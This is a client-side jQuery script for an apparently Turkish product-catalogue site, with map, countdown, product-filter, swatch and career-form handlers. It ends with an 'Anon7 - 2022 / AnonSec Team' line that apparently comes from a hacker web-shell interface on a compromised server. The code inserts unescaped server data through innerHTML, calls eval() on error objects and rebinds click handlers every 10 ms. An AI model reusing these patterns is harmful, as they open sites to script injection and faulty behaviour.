          if ($wrap.hasClass("sticky")) {
            $this.css("position", "").css("top", "");
            $wrap.removeClass("sticky");
          }
        }
      });
      if (APP.headerSticky.scroll_offset_before > current_scroll_top) {
        $(".header-sticky-smart .sticky-area").each(function () {
          if ($(this).hasClass("header-hidden")) {
            $(this).removeClass("header-hidden");
          }
        });
      } else {
        $(".header-sticky-smart .sticky-area").each(function () {
          var $wrapper = $(this).parent();
          if ($wrapper.length) {
            if (
              APP.headerSticky.scroll_offset_before >
                $wrapper.offset().top + $(this).outerHeight() &&
              !$(this).hasClass("header-hidden")
            ) {
              $(this).addClass("header-hidden");
            }
          }
        });
      }
      APP.headerSticky.scroll_offset_before = current_scroll_top;
    },
    footerBottom: function () {
      var $main_footer = $(".footer");
      var $wrapper_content = $("#content");
      $main_footer.css("position", "");
      $wrapper_content.css("padding-bottom", "");
      if ($body.outerHeight() < $window.outerHeight()) {
        $main_footer.css("position", "fixed");
        $main_footer.css("bottom", "0");
        $main_footer.css("left", "0");
        $main_footer.css("right", "0");
        $main_footer.css("z-index", "0");
        $wrapper_content.css(
          "padding-bottom",
          $main_footer.outerHeight() + "px"
        );
      } else {
        $main_footer.css("position", "");
        $wrapper_content.css("padding-bottom", "");
      }
    },
  };
  APP.sidebarSticky = {
    init: function () {
      var header_sticky_height = 0;
      if (window.matchMedia("(max-width: 767px)").matches) {
        return;
      }
      if ($("#site-header.header-sticky").length > 0) {
        header_sticky_height = 60;
      }
      $(".primary-sidebar.sidebar-sticky > .primary-sidebar-inner").hcSticky({
        stickTo: "#sidebar",
        top: header_sticky_height + 30,
      });
      $(".primary-map.map-sticky > .primary-map-inner").hcSticky({
        stickTo: "#map-sticky",
        top: header_sticky_height,
      });
      $(".primary-summary.summary-sticky > .primary-summary-inner").hcSticky({
        stickTo: "#summary-sticky",
        top: header_sticky_height,
      });
    },
  };
  APP.mapbox = {
    init: function () {
      var $map_box = $(".mapbox-gl");
      if ($map_box.length < 1) {
        return;
      }
      var options_default = {
        container: "map",
        style: "mapbox://styles/mapbox/streets-v10",
        center: [-73.9927227, 40.6734035],
        zoom: 16,
      };
      $map_box.each(function () {
        var $this = $(this),
          options = $this.data("mapbox-options"),
          markers = $this.data("mapbox-marker");
        options = $.extend({}, options_default, options);
        mapboxgl.accessToken = $this.data("mapbox-access-token");
        var map = new mapboxgl.Map(options);
        var $marker_el = $($this.data("marker-target"));
        var $marker_els = $marker_el.find(".marker-item");
        if ($marker_els.length > 0) {
          $.each($marker_els, function () {
            var $marker_style = $(this).data("marker-style");
            var el = document.createElement("div");
            el.className = $marker_style.className;
            el.style.backgroundImage =
              "url(" + $(this).data("icon-marker") + ")";
            el.style.width = $marker_style.style.width;
            el.style.height = $marker_style.style.height;
            new mapboxgl.Marker(el)
              .setLngLat($(this).data("position"))
              .setPopup(
                new mapboxgl.Popup({
                  className: $marker_style.popup.className,
                })
                  .setHTML($(this).html())
                  .setMaxWidth($marker_style.popup.maxWidth)
              )
              .addTo(map);
          });
        } else {
          $.each(markers, function () {
            var el = document.createElement("div");
            el.className = this.className;
            el.style.backgroundImage = "url(" + this.backgroundImage + ")";
            el.style.backgroundRepeat = this.backgroundRepeat;
            el.style.width = this.width;
            el.style.height = this.height;
            var marker = new mapboxgl.Marker(el)
              .setLngLat(this.position)
              .addTo(map);
          });
        }
        map.scrollZoom.disable();
        map.addControl(new mapboxgl.NavigationControl());
        map.on("load", function () {
          map.resize();
        });
      });
    },
  };
  APP.countdown = {
    init: function () {
      var $countDownEl = $("[data-countdown]");
      if ($countDownEl.length < 1) {
        return;
      }
      var $endTime = $countDownEl.data("countdown-end");
      var countDownDate = new Date($endTime).getTime();
      var x = setInterval(function () {
        var now = new Date().getTime();
        var distance = countDownDate - now;
        var days = Math.floor(distance / (1000 * 60 * 60 * 24));
        var hours = Math.floor(
          (distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)
        );
        var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));
        var seconds = Math.floor((distance % (1000 * 60)) / 1000);
        $(".day").html(days);
        $(".hour").html(("0" + hours).slice(-2));
        $(".minute").html(("0" + minutes).slice(-2));
        $(".second").html(("0" + seconds).slice(-2));
        if (distance < 0) {
          clearInterval(x);
        }
      }, 1000);
    },
  };
  APP.canvas = {
    init: function () {
      var options_default = {
        container: ".canvas-sidebar",
      };
      var $canvas_buttons = $("[data-canvas]");
      $canvas_buttons.each(function () {
        var $this = $(this);
        var options = $this.data("canvas-options");
        options = $.extend({}, options_default, options);
        var $container = $(options.container);
        $this.on("click", function () {
          $container.addClass("show");
        });
        $container.find(".canvas-close").on("click", function () {
          $container.removeClass("show");
        });
      });
    },
  };
  APP.shopVariations = {
    init: function () {
      var swatch = $(".shop-swatch"),
        swatchesItem = swatch.find(".swatches-item"),
        swatchesSelect = swatch.find(".swatches-select");
      if (swatch.length < 1 && swatchesItem.length < 1) {
        return;
      }
      swatchesItem.unbind("click").on("click", function (e) {
        e.preventDefault();
        var $this = $(this);

        if ($this.hasClass("selected")) {
          return false;
        }
        $this.parent().siblings().removeClass("selected");
        $this.parent().addClass("selected");
        swatchesSelect.val($this.attr("data-var"));
        swatch.find("label .var").html($this.attr("data-var"));
      });
    },
  };
  $(document).ready(function () {
    APP.init();
    APP.slickSlider.init();
    APP.counter.init();
    APP.util.init();
    APP.CollapseTabsAccordion.init();
    APP.animation.init();
    APP.headerSticky.init();
    APP.sidebarSticky.init();
    APP.mapbox.init();
    APP.countdown.init();
    APP.canvas.init();
    APP.shopVariations.init();
  });
})(jQuery);

function ShowHideDriverDiv() {
  var chkYes = document.getElementById("inlineRadio4");
  var dvControl = document.getElementById("driver-description");
  dvControl.style.display = chkYes.checked ? "block" : "none";
}
function ShowHideTravelDiv() {
  var chkYes = document.getElementById("inlineRadio6");
  var dvControl = document.getElementById("travel-description");
  dvControl.style.display = chkYes.checked ? "block" : "none";
}
function ShowHideLicenceDiv() {
  var chkYes = document.getElementById("inlineRadio8");
  var dvControl = document.getElementById("licence-description");
  dvControl.style.display = chkYes.checked ? "block" : "none";
}

/* PRODUCT FILTER */
function dropTypeFunction() {
  document.getElementById("typeDropdown").classList.toggle("show");
  $("#colorDropdown").removeClass("show");
}

function filterTypeFunction() {
  var input, filter, ul, li, a, i;
  input = document.getElementById("typeInput");
  filter = input.value.toUpperCase();
  div = document.getElementById("typeDropdown");
  a = div.getElementsByTagName("a");
  for (i = 0; i < a.length; i++) {
    txtValue = a[i].textContent || a[i].innerText;
    if (txtValue.toUpperCase().indexOf(filter) > -1) {
      a[i].style.display = "";
    } else {
      a[i].style.display = "none";
    }
  }
}

function dropColorFunction() {
  document.getElementById("colorDropdown").classList.toggle("show");
  $("#typeDropdown").removeClass("show");
}

function filterColorFunction() {
  var input, filter, ul, li, a, i;
  input = document.getElementById("colorInput");
  filter = input.value.toUpperCase();
  div = document.getElementById("colorDropdown");
  a = div.getElementsByTagName("a");
  for (i = 0; i < a.length; i++) {
    txtValue = a[i].textContent || a[i].innerText;
    if (txtValue.toUpperCase().indexOf(filter) > -1) {
      a[i].style.display = "";
    } else {
      a[i].style.display = "none";
    }
  }
}

function updateProductVariation(variation_id) {
  var url = "getdata/get_variations.php?variation_id=" + variation_id;
  $.ajax({
    type: "GET",
    url: url,
    dataType: "json",
    success: function (data) {
      console.log(data);
      var tech_details = data.technical_detail;
      var product_image = data.product_image;

      //document.getElementById('tech-image').src = data.technical_image;
      $("#tech-image").css(
        "background-image",
        "url(" + data.technical_image + ")"
      );

      var tech_detail_table = "";
      $.each(tech_details, function (key, value) {
        tech_detail_table =
          tech_detail_table +
          "<tr><td>" +
          key +
          "</td><td>" +
          value +
          "</td></tr>";
      });
      document.getElementById("tech-detail-table").innerHTML =
        tech_detail_table;

      var product_gallery = "";
      $.each(product_image, function (key, value) {
        //product_gallery = product_gallery + '<div class="box"><div class="row justify-content-center"><img src="'+value+'"></div></div>';
        console.log(value);
        product_gallery =
          product_gallery +
          '<div class="box"><div class="row"><div class="img" style="background-image: url(' +
          value +
          ');"></div></div></div>';
      });
      document.getElementById("product-gallery").innerHTML = product_gallery;

      $("#product-gallery").removeClass("slick-initialized slick-slider");
      $("#product-gallery").slick({
        slidesToShow: 1,
        infinite: true,
        autoplay: false,
        dots: false,
        arrows: true,
        prevArrow:
          '<div class="slick-prev slick-arrow" aria-label="Previous" style=""><i class="far fa-arrow-left"></i></div>',
        nextArrow:
          '<div class="slick-next slick-arrow" aria-label="Next" style=""><i class="far fa-arrow-right"></i></div>',
      });
    },
    error: function (error) {
      console.log(eval(error));
    },
  });
}

function getFilterProduct(categoryId) {
  setInterval(function () {
    $(".filters").css("display", "flex");

    var colorVal = sessionStorage.getItem("colorVal");
    var shelfVal = sessionStorage.getItem("shelfVal");

    $(".filters .shelf-filter").remove();
    $(".filters .color-filter").remove();

    var url =
      "getdata/get_filter_products.php?category_id=" +
      categoryId +
      "&colorVal=" +
      colorVal +
      "&shelfVal=" +
      shelfVal;
  }, 1);

  var colorVal = sessionStorage.getItem("colorVal");
  var shelfVal = sessionStorage.getItem("shelfVal");

  $(".filters .shelf-filter").remove();
  $(".filters .color-filter").remove();

  var url =
    "getdata/get_filter_products.php?category_id=" +
    categoryId +
    "&colorVal=" +
    colorVal +
    "&shelfVal=" +
    shelfVal;
  if (colorVal != "" || shelfVal != "0") {
    $.ajax({
      type: "GET",
      url: url,
      dataType: "json",
      success: function (data) {
        console.log(data);

        document.getElementById("filtered-products").innerHTML = "";
        $("#colorDropdown").removeClass("show");
        $.each(data.products, function (i, val) {
          document.getElementById("filtered-products").innerHTML =
            '<div class="col-sm-6 col-lg-4 mb-8"><div class="card border-0 hover-change-content product"><div class="card-img-top position-relative"><div style="background-image: url(' +
            val.image +
            ')" class="card-img ratio bg-img-contain-center ratio-1-1"></div></div><div class="card-body px-0 pt-4 pb-0 d-flex align-items-end"><div class="m-auto"><div class="product-line"></div><a href="' +
            val.url +
            '" class="font-weight-bold mt-1 d-block text-center product-name">' +
            val.title +
            '</a></div></div><div class="position-absolute pos-fixed-bottom px-4 px-sm-6 pb-5 d-flex w-100 justify-content-center content-change-horizontal"><a href="' +
            val.url +
            '" title="Ürünü İncele" class="inspect-product d-flex align-items-center justify-content-center">Ürünü İncele</a></div></div></div>';
        });

        if (data.shelf_filter != "") {
          $(".filters").append(
            '<div class="shelf-filter"><p>' +
              data.shelf_filter +
              ' <i class="fal fa-times" onclick="removeShelfVal(\'' +
              categoryId +
              "');\"></i></p></div>"
          );
        }

        if (data.color_filter != "") {
          $.each(data.color_filter, function (i, val) {
            $(".filters").append(
              '<div class="color-filter colorfilter' +
                val.id +
                '"><p><span style="' +
                val.style +
                '"></span> ' +
                val.title +
                ' <i class="fal fa-times" onclick="removeColorVal(\'' +
                categoryId +
                "','" +
                val.id +
                "');\"></i></p></div>"
            );
          });
        }
      },
      error: function (error) {
        console.log(eval(error));
      },
    });
  }
}

function filterProduct(categoryId) {
  //var typeVal = document.getElementById('dropTypeButton').getAttribute('data-val');
  var colorVal = document
    .getElementById("dropColorButton")
    .getAttribute("data-val");
  var shelfVal = document.getElementById("dropShelvesCount").value;
  sessionStorage.setItem("colorVal", colorVal);
  sessionStorage.setItem("shelfVal", shelfVal);

  getFilterProduct(categoryId);
}

function removeShelfVal(categoryId) {
  sessionStorage.setItem("shelfVal", 0);
  $(".filters .shelf-filter").remove();
  getFilterProduct(categoryId);
}

function removeColorVal(categoryId, colorId) {
  $(".color" + colorId).removeClass("checked");

  var btn = document.getElementById("dropColorButton");
  var values = btn.getAttribute("data-val");

  values = values.replace(colorId + ",", "");
  btn.setAttribute("data-val", values);

  sessionStorage.setItem("colorVal", values);
  $(".filters .colorfilter" + colorId).remove();
  getFilterProduct(categoryId);
}

$(document).ready(function () {
  $("#dropShelvesCount").click(function () {
    $("#typeDropdown").removeClass("show");
    $("#colorDropdown").removeClass("show");
  });

  $("#typeDropdown a").click(function (e) {
    var btn = document.getElementById("dropTypeButton");
    btn.setAttribute("data-val", $(e.currentTarget).data("val"));
    btn.innerHTML = $(e.currentTarget).data("title");
    $("#typeDropdown").removeClass("show");
  });
  $("#colorDropdown a").click(function (e) {
    if ($(this).hasClass("checked")) {
      $(this).removeClass("checked");

      var btn = document.getElementById("dropColorButton");
      var values = btn.getAttribute("data-val");
      var newValues = $(e.currentTarget).data("val");
      values = values.replace(newValues + ",", "");
      btn.setAttribute("data-val", values);
    } else {
      $(this).addClass("checked");

      var btn = document.getElementById("dropColorButton");
      var values = btn.getAttribute("data-val");
      var newValues = $(e.currentTarget).data("val");
      values = values + newValues + ",";
      btn.setAttribute("data-val", values);
    }
  });

  setInterval(function () {
    $("#dropShelvesCount").click(function () {
      $("#typeDropdown").removeClass("show");
      $("#colorDropdown").removeClass("show");
    });

    $("#typeDropdown a").click(function (e) {
      var btn = document.getElementById("dropTypeButton");
      btn.setAttribute("data-val", $(e.currentTarget).data("val"));
      btn.innerHTML = $(e.currentTarget).data("title");
      $("#typeDropdown").removeClass("show");
    });
    $("#colorDropdown a").click(function (e) {
      if ($(this).hasClass("checked")) {
        $(this).removeClass("checked");

        var btn = document.getElementById("dropColorButton");
        var values = btn.getAttribute("data-val");
        var newValues = $(e.currentTarget).data("val");
        values = values.replace(newValues + ",", "");
        btn.setAttribute("data-val", values);
      } else {
        $(this).addClass("checked");

        var btn = document.getElementById("dropColorButton");
        var values = btn.getAttribute("data-val");
        var newValues = $(e.currentTarget).data("val");
        values = values + newValues + ",";
        btn.setAttribute("data-val", values);
      }
    });
  }, 10);

  $(".body-color a").click(function (e) {
    if ($(this).hasClass("checked")) {
      $(this).removeClass("checked");

      var input = document.getElementById("bodyColorInput");
      var values = input.getAttribute("value");
      var newValues = $(e.currentTarget).data("val");
      values = values.replace(newValues + ",", "");
      input.setAttribute("value", values);

      $(".body-filters .bodyfilter" + newValues).remove();
    } else {
      $(this).addClass("checked");

      var input = document.getElementById("bodyColorInput");
      var values = input.getAttribute("value");
      var newValues = $(e.currentTarget).data("val");
      values = values + newValues + ",";
      input.setAttribute("value", values);

      var style = e.currentTarget.getAttribute("style");
      var title = e.currentTarget.lastChild.innerHTML;
      $(".body-filters").append(
        '<div class="color-filter bodyfilter' +
          newValues +
          '"><p><span style="' +
          style +
          '"></span> ' +
          title +
          "</p></div>"
      );
    }
  });

  $(".foot-color a").click(function (e) {
    if ($(this).hasClass("checked")) {
      $(this).removeClass("checked");

      var input = document.getElementById("footColorInput");
      var values = input.getAttribute("value");
      var newValues = $(e.currentTarget).data("val");
      values = values.replace(newValues + ",", "");
      input.setAttribute("value", values);

      $(".foot-filters .footfilter" + newValues).remove();
    } else {
      $(this).addClass("checked");

      var input = document.getElementById("footColorInput");
      var values = input.getAttribute("value");
      var newValues = $(e.currentTarget).data("val");
      values = values + newValues + ",";
      input.setAttribute("value", values);

      var style = e.currentTarget.getAttribute("style");
      var title = e.currentTarget.lastChild.innerHTML;
      $(".foot-filters").append(
        '<div class="color-filter footfilter' +
          newValues +
          '"><p><span style="' +
          style +
          '"></span> ' +
          title +
          "</p></div>"
      );
    }
  });

  $(".tech-gallery a").click(function (e) {
    var variation_id = $(e.currentTarget).data("val");
    updateProductVariation(variation_id);
    $(".tech-gallery .row").removeClass("active");
    $(e.currentTarget).parent(".row").addClass("active");
    $(".product-variations a").removeClass("active");
    $(".product-variations #varVal" + variation_id).addClass("active");
  });
  $(".product-variations a").click(function (e) {
    var variation_id = $(e.currentTarget).data("val");
    updateProductVariation(variation_id);
    $(".product-variations a").removeClass("active");
    $(e.currentTarget).addClass("active");
    $(".tech-gallery .row").removeClass("active");
    $(".tech-gallery #galVal" + variation_id)
      .parent(".row")
      .addClass("active");
  });

  function cvSubmit() {
    alert("form");
  }
  $(".career-form").on("submit", function (event) {
    event.preventDefault();

    var formValues = $(this).serialize();

    var url = "inc/career-mail.php";
    $.ajax({
      type: "POST",
      url: url,
      data: { formdata: formValues },
      dataType: "json",
    });
    alert("Mesajınız iletildi.");
  });
});

Anon7 - 2022
AnonSec Team